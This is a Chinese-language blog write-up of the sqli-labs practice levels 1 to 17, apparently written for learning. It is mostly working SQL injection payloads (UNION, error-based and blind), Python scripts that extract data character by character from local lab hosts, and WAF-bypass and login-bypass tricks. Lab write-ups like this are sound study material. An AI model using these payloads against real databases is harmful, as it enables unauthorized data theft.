刷刷sqli Labs
sql-injection2019/06/18
期末周复习累了当然选择刷sqli-labs划水了
顺便在security库里建了个放flag的表,做每道题时候去拿拿flag
less-1
先闭合单引号
UNION SELECT 1,group_concat(schema_name),3 FROM INFORMATION_SCHEMA.SCHEMATA #
UNION SELECT 1,group_concat(table_name),3 FROM information_schema.TABLES WHERE table_schema='security' #
UNION SELECT 1,group_concat(column_name),3 FROM information_schema.COLUMNS WHERE table_name='flag' #
UNION SELECT 1,fl4g,3 FROM flag #
less-2
less-1换成数字型
less-3
less-1换成id=1')
less-4
less-1换成id=1")
less-5
单引号闭合以后,用布尔盲注或者显错注入,这里用的显错注入
and extractvalue(1, concat(0x7f, (select fl4g from flag,0x7f))
and(updatexml(1,concat(0x7f,(select fl4g from flag),0x7f),1))
/*这两个payload最简洁,但是有长度限制,数据最长只能是32位,flag一长的话就不能用了*/
and(select 1 from (select count(*),concat((SELECT group_concat(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA),floor(rand(0)*2))x from information_schema.tables group by x)a) #
and(select 1 from (select count(*),concat((SELECT group_concat(table_name) FROM information_schema.TABLES WHERE table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)a) #
and(select 1 from (select count(*),concat((SELECT group_concat(column_name) FROM information_schema.COLUMNS WHERE table_name='flag'),floor(rand(0)*2))x from information_schema.tables group by x)a) #
and(select 1 from (select count(*),concat((SELECT fl4g from flag),floor(rand(0)*2))x from information_schema.tables group by x)a) #
/*在常见的爆user()的payload里嵌套一层,就可以插进less-1的payload了*/
less-6
less-5单引号改为双引号
less-7
题目的意思是往web目录下写文件
mysql5.7以后,默认是不开启secure-file-priv
的,不可以任意文件读写,读取没有权限的目录时候会报错You have an error in your SQL syntaxThe MySQL server is running with the --secure-file-priv option so it cannot execute this statement
5.7的话默认会开一个可读写文件夹/var/lib/mysql-files/
,只有注入一个洞的话也没法利用
docker拉回8.0看了下,好像8.0默认是不会开可读写文件夹的,所以也没法写文件
实际应用中,如果获取不到web根目录的话,这个洞也是没法利用的,限制的确很多
不过这道题还可以布尔盲注
脚本如下:
import requests
import tqdm
out=''
for num in tqdm.tqdm(range(1,13)):
for target_char in range(48,126):
payload = " and if(ascii(substr(database(),{0},1))={1},~(0)%2B1,1) %23".format(str(num),str(target_char))
#加号不编码会被当作空格
#SELECT * FROM users WHERE id=(('1')) and if(ascii(substr(database(),1,1))=115,~(0)+1,1);
headers = {
'User-Agent': 'Mozilla/5.0 (X10; Windows10 x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3359.139 Safari/537.36'
}
requests.headers = headers
url="http://localhoat/Less-7/?id=1'))"
result=requests.get(url+payload)
if "range" in result.text:
out+=chr(target_char)
print(out)
payload依次使用
and if(ascii(substr(database(),{0},1))={1},~(0)%2B1,1) %23
and if(ascii(substr((SELECT group_concat(table_name) FROM information_schema.TABLES WHERE table_schema='security'),{0},1))={1},~(0)%2B1,1) %23
and if(ascii(substr((SELECT group_concat(column_name) FROM information_schema.COLUMNS WHERE table_name='flag'),{0},1))={1},~(0)%2B1,1) %23
and if(ascii(substr((select fl4g from flag),{0},1))={1},~(0)%2B1,1) %23
payload的主体也可以用简洁点的mid(database(),0,1)
, 上面用的这种除了普通的布尔盲注以外,还可以应付hgame2019的sqli-2那种,只返回语句是否正常执行的盲注
less-8
脚本同less-7,换成id=1'
,下面的判断换成if "You are in..........." not in result:
less-9
时间盲注
import requests
import tqdm
import time
out=''
for num in tqdm.tqdm(range(1,20)):
for target_char in range(33,126):
payload = " and if(ascii(substr(database(),{0},1))={1},sleep(3),1) %23".format(str(num),str(target_char))
headers = {
'User-Agent': 'Mozilla/5.0 (X10; Windows10 x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3359.139 Safari/537.36'
}
requests.headers = headers
url="http://192.168.1.9/Less-8/?id=1'"
before_time = time.time()
result=requests.get(url+payload)
after_time = time.time()
offset = after_time - before_time
if offset > 2:
out+=chr(target_char)
print(out)
and if(ascii(substr(database(),{0},1))={1},sleep(3),1) %23
and if(ascii(substr((SELECT group_concat(table_name) FROM information_schema.TABLES WHERE table_schema='security'),{0},1))={1},sleep(3),1) %23
and if(ascii(substr((SELECT group_concat(column_name) FROM information_schema.COLUMNS WHERE table_name='flag'),{0},1))={1},sleep(3),1) %23
and if(ascii(substr((select fl4g from flag),{0},1))={1},sleep(3),1) %23
less-10
时间盲注,less-9换成双引号
less-11
闭合单引号
uname=1' UNION SELECT 1,fl4g,3 FROM flag #&passwd=0
less-12
less-11换成uname=")
型
less-13
显错注入
uname=admin') and (select 1 from (select count(*),concat((SELECT fl4g from flag),floor(rand(0)*2))x from information_schema.tables group by x)a) #&passwd=1
less-14
less-13换成双引号
less-15
import requests
import tqdm
out = ''
for num in tqdm.tqdm(range(1, 13)):
for target_char in range(48, 126):
payload = {
"passwd" : "1",
"uname" : "1' or ascii(substr(database(),{0},1))={1} #".format(str(num), str(target_char))
}
headers = {
'User-Agent': 'Mozilla/5.0 (X10; Windows10 x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3359.139 Safari/537.36'
}
requests.headers = headers
url = "http://192.168.1.9/Less-15/"
result = requests.post(url,payload)
if "slap" not in result.text:
out += chr(target_char)
print(out)
less-16
less-15换成uname=1")
less-17
这道题做起来倒是很简单,password没有过滤(经过那么多轮,我也早记住好几个用户名了=。=),直接注密码就可以uname=admin&passwd=123'or '1'='1
但是如果在实际应用中,拿到这个登录框应该先跑弱口令
fuzz一下,发现除了预期的结果以外还多了个0
栈溢出上是这么说的:
Since the username is String and you have compared it to a Number, MySQL silently cast the column name into number. See Here.
When the string is cast into a number and it starts with a letter, the value will be zero, that’s why all the records are shown.
The adding a username of 5, like this demo, you’ll see all the records except with this username since 5 <> 0.
所以在实际应用中,因为大多数用户名和密码字段都是varchar
或者char
,用这样的payload就可以过一些waf:uname=0&passwd=1'#
,这题也就可以直接改全体了